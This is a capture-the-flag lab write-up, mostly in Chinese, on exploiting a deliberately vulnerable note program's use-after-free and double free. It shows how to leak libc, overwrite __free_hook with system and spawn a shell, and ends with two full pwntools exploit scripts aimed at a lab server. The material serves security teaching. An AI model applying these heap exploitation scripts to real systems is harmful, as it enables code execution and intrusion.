# Simple PWN 0x39(Lab - Double Free) ## Background [0x18(Lab - `babynote`)](https://hackmd.io/@SBK6401/rkD83kaji) ## Source code :::spoiler Source Code ```cpp #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <fcntl.h> struct note { char *content; unsigned long len; }; struct note notes[0x10]; int read_int() { char buf[0x20]; read(0, buf, 0x1f); return atoi(buf); } unsigned long read_ul() { char buf[0x20]; read(0, buf, 0x1f); return strtoul(buf, NULL, 10); } int get_idx() { int idx = read_int(); if (idx >= 0x10 || idx < 1) exit(0); return idx; } void add_note() { int idx; printf("Index: "); idx = get_idx(); printf("Length: "); notes[idx].len = read_ul(); notes[idx].content = malloc(notes[idx].len); puts("Add done"); } void read_note() { int idx; printf("Index: "); idx = get_idx(); printf("Note[%d]:\n", idx); write(1, notes[idx].content, notes[idx].len); } void write_note() { int idx; printf("Index: "); idx = get_idx(); printf("Content: "); read(0, notes[idx].content, notes[idx].len); } void delete_note() { int idx; printf("Index: "); idx = get_idx(); free(notes[idx].content); puts("Delete done"); } void memu() { puts("1. add note"); puts("2. read note"); puts("3. write note"); puts("4. delete note"); printf("choice: "); } int main(void) { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); int fd = open("./flag.txt", O_RDONLY); notes[0].len = 0x30; notes[0].content = malloc(0x30); read(fd, notes[0].content, 0x30); close(fd); for (;;) { memu(); int choice = read_int(); switch (choice) { case 1: add_note(); break; case 2: read_note(); break; case 3: write_note(); break; case 4: delete_note(); break; default: puts("Invalid command"); } } return 0; } ``` ::: ## Recon :::warning Run On Ubuntu 20.04 ::: 這一題有很多種方式可以拿到shell,不過原理都是一樣的,前置作業都是一樣的,也就是要利用UAF去leak出libc address,接著算出`__free_hook`以及`system`的位址,接著想辦法把`system`寫到`__free_hook`的位址,此時就有兩種方式可以寫,一種是利用此次學到的double free,把值寫到最後一個在tcache的free chunk,蓋掉他的fd,接著就可以用add_note把tcache的值要回來,並寫system的address進到__free_hook;另一種方式就比較簡單,也就是把free chunk的fd利用UAF的特性改掉,並且直接add_note把東西從tcache要回來,之後就一樣寫system_addr,後free掉一個帶有/bin/sh的chunk,此時就會開一個shell給我們了 ### 前置作業: Leak Libc Address 關於這一點可以參考[如何用UAF leak libc address?](https://hackmd.io/@SBK6401/SJWc9v4Bp#%E5%A6%82%E4%BD%95%E7%94%A8UAF-leak-libc-address),方法都一樣,首先要想辦法讓free chunk進到unsorted bin中(最簡單的方法就是設定超過0x410的空間),接著因為malloc的時候沒有實作清空原本的資料,導致我們可以leak其中有關libc section的資訊。底下的設定意思是我們先設定三個notes,#14的意思是不要讓#13被free掉的時候被consolidate用的,接著我們把前兩個free掉,結果如下 ![image](https://hackmd.io/_uploads/r14opZfL6.png) 會發現#12和#13被consolidate在一起了,接著我們看其中的一些資訊 ![image](https://hackmd.io/_uploads/SJwX0-GIT.png) 裡面確實存著libc相關的資訊,接著只要把這一塊chunk malloc出去給隨便一個note,接著讀其中的資料就可以讀出libc address了 ```python add_note(12, 0x420) add_note(13, 0x420) add_note(14, 0x420) del_note(12) del_note(13) add_note(12, 0x420) read_note(12) leak_libc = u64(r.recv(8)) libc_base = leak_libc - 0x1ed0e0 system_addr = libc_base + libc.symbols['system'] free_hook = libc_base + 0x1eee48 log.success(f'Leak Libc = {hex(leak_libc)}') log.success(f'Libc Base = {hex(libc_base)}') log.success(f'System Address = {hex(system_addr)}') log.success(f'Free Hook = {hex(free_hook)}') r.recv(0x420 - 0x8) ``` ### 方法一: Double Fee 有了libc address後,我們要想辦法把system address寫到`__free_hook`的位置,如果是要用double free的方法的話可以參考上課的講義: ![image](https://hackmd.io/_uploads/SJNM1Mf8T.png) 最簡單的方法是,我把tcache填滿(一定要),然後用free(a)→free(b)→free(a)的順序產生double free ```python for i in range(1, 0xa): add_note(i, 0x10) for i in range(1, 0x8): del_note(i) del_note(8) del_note(9) del_note(8) ``` 此時的heapinfo會變成: ![image](https://hackmd.io/_uploads/H1GGgGM86.png) 接著我們把tcache清空後再繼續add_note就會把fastbin的free chunk搬到tcache中 ```python add_note(8, 0x18) ``` ![image](https://hackmd.io/_uploads/B1ErzMM8T.png) 接著我們寫free_hook address到note #8,這樣的話,tcache的順序就會變成下圖: ```python write_note(8, p64(free_hook)) ``` ![image](https://hackmd.io/_uploads/rktIXGMIp.png) 此時我們就把free chunk變成free_hook的地址,我們只不斷的add_note,就可以把tcache的free chunk要回來進行寫入,也就是寫system address: ```python bin_sh = u64(b'/bin/sh\x00') add_note(9, 0x10) write_note(9, p64(bin_sh)) add_note(10, 0x10) add_note(11, 0x10) write_note(11, p64(system_addr)) ``` ![image](https://hackmd.io/_uploads/SydnNzMIa.png) 最後的結果如上圖,會發現note #11已經變成==0x7f900aa8ae48==,這個就是`__free_hook`的位址,進去看發現已經被我們寫入system address,這個時候我們只要把含有`/bin/sh\x00`的note #9 free掉,就可以開shell了 ### 方法二: 一般的寫入 這一個方法比較方便,也和double free沒關係,反正我們只要利用UAF的特性,也可以把free chunk的fd改掉,再用像前面的方法就可以開shell 下面的建構就是先開兩個note,然後free掉,此時我們就可以利用UAF的漏洞把free chunk的fd改掉,結果如下圖 ![image](https://hackmd.io/_uploads/B1ohIMz86.png) ```python add_note(1, 0x18) add_note(2, 0x18) del_note(2) del_note(1) write_note(1, p64(free_hook) + p64(0) * 2) ``` 接著就把`/bin/sh\x00`寫到note #2,接著就不斷add_note,把`__free_hook`的address拿到手,然後再把system address寫到`__free_hook`,最後把含有`/bin/sh\x00`的note #2 free掉,結果如下圖: ![image](https://hackmd.io/_uploads/HkGsPGfL6.png) 從上圖得知,note #4的address已經被我們換成`__free_hook` address,並且實際跟進去就是system address,最後只要free掉note #2就可以開shell了 ## Exploit - Leak Libc(UAF) + Double Free(?) :::spoiler Method 1 ```python from pwn import * r = process('./chal') r = remote('10.113.184.121', 10058) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.arch = 'amd64' def add_note(idx, len): r.recvuntil(b'choice: ') r.send(b'1') r.recvuntil(b'Index: ') r.send(str(idx).encode()) r.recvuntil(b'Length: ') r.send(str(len).encode()) def read_note(idx): r.recvuntil(b'choice: ') r.send(b'2') r.recvuntil(b'Index: ') r.send(str(idx).encode()) r.recvline() def write_note(idx, content): r.recvuntil(b'choice: ') r.send(b'3') r.recvuntil(b'Index: ') r.send(str(idx).encode()) r.recvuntil(b'Content: ') r.send(content) def del_note(idx): r.recvuntil(b'choice: ') r.send(b'4') r.recvuntil(b'Index: ') r.send(str(idx).encode()) # Leak libc address add_note(12, 0x420) add_note(13, 0x420) add_note(14, 0x420) del_note(12) del_note(13) add_note(12, 0x420) read_note(12) leak_libc = u64(r.recv(8)) libc_base = leak_libc - 0x1ed0e0 system_addr = libc_base + libc.symbols['system'] free_hook = libc_base + 0x1eee48 log.success(f'Leak Libc = {hex(leak_libc)}') log.success(f'Libc Base = {hex(libc_base)}') log.success(f'System Address = {hex(system_addr)}') log.success(f'Free Hook = {hex(free_hook)}') r.recv(0x420 - 0x8) ## Use Double Free to Write system_addr to __free_hook for i in range(1, 0xa): add_note(i, 0x10) for i in range(1, 0x8): del_note(i) del_note(8) del_note(9) del_note(8) ### Clean tcache for i in range(1, 0x8): add_note(i, 0x10) add_note(8, 0x18) write_note(8, p64(free_hook)) bin_sh = u64(b'/bin/sh\x00') add_note(9, 0x10) write_note(9, p64(bin_sh)) add_note(10, 0x10) add_note(11, 0x10) write_note(11, p64(system_addr)) del_note(9) r.interactive() ``` ::: :::spoiler Method 2 ```python from pwn import * r = process('./chal') r = remote('10.113.184.121', 10058) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.arch = 'amd64' def add_note(idx, len): r.recvuntil(b'choice: ') r.send(b'1') r.recvuntil(b'Index: ') r.send(str(idx).encode()) r.recvuntil(b'Length: ') r.send(str(len).encode()) def read_note(idx): r.recvuntil(b'choice: ') r.send(b'2') r.recvuntil(b'Index: ') r.send(str(idx).encode()) r.recvline() def write_note(idx, content): r.recvuntil(b'choice: ') r.send(b'3') r.recvuntil(b'Index: ') r.send(str(idx).encode()) r.recvuntil(b'Content: ') r.send(content) def del_note(idx): r.recvuntil(b'choice: ') r.send(b'4') r.recvuntil(b'Index: ') r.send(str(idx).encode()) # Leak libc address add_note(12, 0x420) add_note(13, 0x420) add_note(14, 0x420) del_note(12) del_note(13) add_note(12, 0x420) read_note(12) leak_libc = u64(r.recv(8)) libc_base = leak_libc - 0x1ed0e0 system_addr = libc_base + libc.symbols['system'] free_hook = libc_base + 0x1eee48 log.success(f'Leak Libc = {hex(leak_libc)}') log.success(f'Libc Base = {hex(libc_base)}') log.success(f'System Address = {hex(system_addr)}') log.success(f'Free Hook = {hex(free_hook)}') r.recv(0x420 - 0x8) ## Another Way to Write system_addr to __free_hook add_note(1, 0x18) add_note(2, 0x18) del_note(2) del_note(1) write_note(1, p64(free_hook) + p64(0) * 2) bin_sh = u64(b'/bin/sh\x00') write_note(2, p64(bin_sh)) add_note(3, 0x18) add_note(4, 0x18) write_note(4, p64(system_addr)) raw_input() del_note(2) r.interactive() ``` :::